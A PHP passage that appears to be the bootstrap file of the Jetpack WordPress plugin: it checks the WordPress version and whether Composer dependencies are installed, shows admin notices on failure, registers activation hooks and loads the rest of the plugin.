defined( 'JETPACK_SIGNATURE__HTTP_PORT' ) || define( 'JETPACK_SIGNATURE__HTTP_PORT', 80 );
defined( 'JETPACK_SIGNATURE__HTTPS_PORT' ) || define( 'JETPACK_SIGNATURE__HTTPS_PORT', 443 );

/**
 * Check if the version of WordPress in use on the site is supported by Jetpack.
 */
if ( version_compare( $GLOBALS['wp_version'], JETPACK__MINIMUM_WP_VERSION, '<' ) ) {
	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		error_log( // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
			sprintf(
				/* translators: Placeholders are numbers, versions of WordPress in use on the site, and required by WordPress. */
				esc_html__( 'Your version of WordPress (%1$s) is lower than the version required by Jetpack (%2$s). Please update WordPress to continue enjoying Jetpack.', 'jetpack' ),
				$GLOBALS['wp_version'],
				JETPACK__MINIMUM_WP_VERSION
			)
		);
	}

	/**
	 * Outputs for an admin notice about running Jetpack on outdated WordPress.
	 *
	 * @since 7.2.0
	 */
	function jetpack_admin_unsupported_wp_notice() {
		wp_admin_notice(
			esc_html__( 'Jetpack requires a more recent version of WordPress and has been paused. Please update WordPress to continue enjoying Jetpack.', 'jetpack' ),
			array(
				'type'        => 'error',
				'dismissible' => true,
			)
		);
	}

	add_action( 'admin_notices', 'jetpack_admin_unsupported_wp_notice' );
	return;
}

/**
 * This is where the loading of Jetpack begins.
 *
 * First, we try to load our composer autoloader.
 *
 * - If it fails, we "pause" Jetpack by ending the loading process
 *   and displaying an admin_notice to inform the site owner.
 *   (We want to fail gracefully if `composer install` has not been executed yet, so we are checking for the autoloader.)
 * - If it succeeds, we require load-jetpack.php, where all legacy files are required,
 *   and where we add on to various hooks that we expect to always run.
 */
$jetpack_autoloader           = JETPACK__PLUGIN_DIR . 'vendor/autoload_packages.php';
$jetpack_module_headings_file = JETPACK__PLUGIN_DIR . 'modules/module-headings.php'; // This file is loaded later in load-jetpack.php, but let's check here to pause before half-loading Jetpack.
if ( is_readable( $jetpack_autoloader ) && is_readable( $jetpack_module_headings_file ) ) {
	require_once $jetpack_autoloader;
	if ( method_exists( '\Automattic\Jetpack\Assets', 'alias_textdomains_from_file' ) ) {
		\Automattic\Jetpack\Assets::alias_textdomains_from_file( JETPACK__PLUGIN_DIR . 'jetpack_vendor/i18n-map.php' );
	}
} else {
	if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		error_log( // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
			sprintf(
				/* translators: Placeholder is a link to a support document. */
				__( 'Your installation of Jetpack is incomplete. If you installed Jetpack from GitHub, please refer to this document to set up your development environment: %1$s', 'jetpack' ),
				'https://github.com/Automattic/jetpack/blob/trunk/docs/development-environment.md'
			)
		);
	}

	// Add a red bubble notification to My Jetpack if the installation is bad.
	add_filter(
		'my_jetpack_red_bubble_notification_slugs',
		function ( $slugs ) {
			$slugs['jetpack-plugin-bad-installation'] = array(
				'data' => array(
					'plugin' => 'Jetpack',
				),
			);

			return $slugs;
		}
	);

	/**
	 * Outputs an admin notice for folks running Jetpack without having run composer install.
	 *
	 * @since 7.4.0
	 */
	function jetpack_admin_missing_files() {
		if ( get_current_screen()->id !== 'plugins' ) {
			return;
		}
		$message = sprintf(
			wp_kses(
				/* translators: Placeholder is a link to a support document. */
				__( 'Your installation of Jetpack is incomplete. If you installed Jetpack from GitHub, please refer to <a href="%1$s" target="_blank" rel="noopener noreferrer">this document</a> to set up your development environment. Jetpack must have Composer dependencies installed and built via the build command: <code>jetpack build plugins/jetpack --with-deps</code>', 'jetpack' ),
				array(
					'a'    => array(
						'href'   => array(),
						'rel'    => array(),
						'target' => array(),
					),
					'code' => array(),
				)
			),
			'https://github.com/Automattic/jetpack/blob/trunk/docs/development-environment.md#building-your-project'
		);
		wp_admin_notice(
			$message,
			array(
				'type'        => 'error',
				'dismissible' => true,
			)
		);
	}

	add_action( 'admin_notices', 'jetpack_admin_missing_files' );
	return;
}

register_activation_hook( __FILE__, array( 'Jetpack', 'plugin_activation' ) );
register_deactivation_hook( __FILE__, array( 'Jetpack', 'plugin_deactivation' ) );

// Load image cdn core. This should load regardless of whether the photon module is active.
Image_CDN_Core::setup();

// Require everything else, that is not loaded via the autoloader.
require_once JETPACK__PLUGIN_DIR . 'load-jetpack.php';